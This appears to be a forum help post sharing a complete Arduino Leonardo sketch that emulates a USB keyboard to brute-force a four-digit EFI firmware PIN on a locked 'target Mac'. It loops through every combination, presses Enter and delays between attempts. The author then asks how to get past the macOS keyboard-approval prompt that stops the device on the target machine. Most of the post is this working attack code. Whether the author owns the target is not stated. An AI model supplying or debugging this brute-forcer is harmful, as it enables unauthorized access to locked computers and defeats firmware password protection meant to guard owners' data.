Inspired by some articles about EFI bruteforce
https://orvtech.com/atacar-efi-pin-macbook-pro-en.html
I built my own using Arduino Leonardo. It just a simple application for password bruteforcing.
Sketch :
#include <Keyboard.h>
#include <Wire.h>
#include <LiquidCrystal_I2C.h>
LiquidCrystal_I2C lcd(0x3F, 20, 4);
int keycodes[] = {
48, 49, 50, 51,
52, 53, 54, 55, 56, 57
};
boolean test = true;
void setup() {
// put your setup code here, to run once:
Keyboard.begin();
// Initiate the LCD:
lcd.init();
lcd.backlight();
for (int i = 0; i < 10; i++) {
lcd.clear();
lcd.setCursor(0, 0);
lcd.print("Start in ");
lcd.print(10 - i);
lcd.print("s");
delay(1000);
}
}
void loop() {
if (test) {
testKeyboard();
} else {
// put your main code here, to run repeatedly:
for (int i = 0; i < 10; i++) {
for (int j = 0; j < 10; j++)
for (int k = 0; k < 10; k++) {
for (int d = 0; d < 10; d++) {
pressKey(keycodes[i]);
pressKey(keycodes[j]);
pressKey(keycodes[k]);
pressKey(keycodes[d]);
pressKey(176);
printCode(keycodes[i], keycodes[j], keycodes[k], keycodes[d]);
delay(17000);
}
}
}
}
}
void printCode(int a, int b, int c, int d) {
lcd.clear();
// Print 'Hello World!' on the first line of the LCD:
lcd.setCursor(0, 0); // Set the cursor on the first column and first row.
lcd.print("Testing code"); // Print the string "Hello World!"
lcd.setCursor(2, 1); //Set the cursor on the third column and the second row (counting starts at 0!).
lcd.print(codeToString(a));
lcd.print(codeToString(b));
lcd.print(codeToString(c));
lcd.print(codeToString(d));
}
void pressKey(int code) {
Keyboard.press(code);
delay(20);
Keyboard.release(code);
delay(200);
//Keyboard.write(code); //testing this method - no success
//delay(200);
}
void testKeyboard() {
lcd.clear();
lcd.setCursor(0, 0);
lcd.println("Test mode");
for (int i = 0; i < 200; i++) {
pressKey(i);
lcd.setCursor(0, 1);
lcd.print("Checked ");
lcd.print(i);
}
}
String codeToString(int code) {
String result;
switch (code) {
case 176: result = "ENTER"; break;
case 48: result = "0"; break;
case 49: result = "1"; break;
case 50: result = "2"; break;
case 51: result = "3"; break;
case 52: result = "4"; break;
case 53: result = "5"; break;
case 54: result = "6"; break;
case 55: result = "7"; break;
case 56: result = "8"; break;
case 57: result = "9"; break;
}
return result;
}
Everything works fine on Windows, and fortunately, I have a second mac to check it. It also works fine on my second Mac.
My problem.
When I connecting Arduino Leonardo to target Mac it doesn't work at all. Code is working - I can see some debug stuff on LCD screen, but nothing inputting into password input. It is just clear.
I have a guess why it happening.
When I connected my Arduino for the first time to another Mac, Mac showed me a prompt - to approve that this is actually keyboard and (looks like system installed drivers for this board) in case of target Mac I have no option to approve it because I'm blocked to launch Mac OS.
Any suggestions?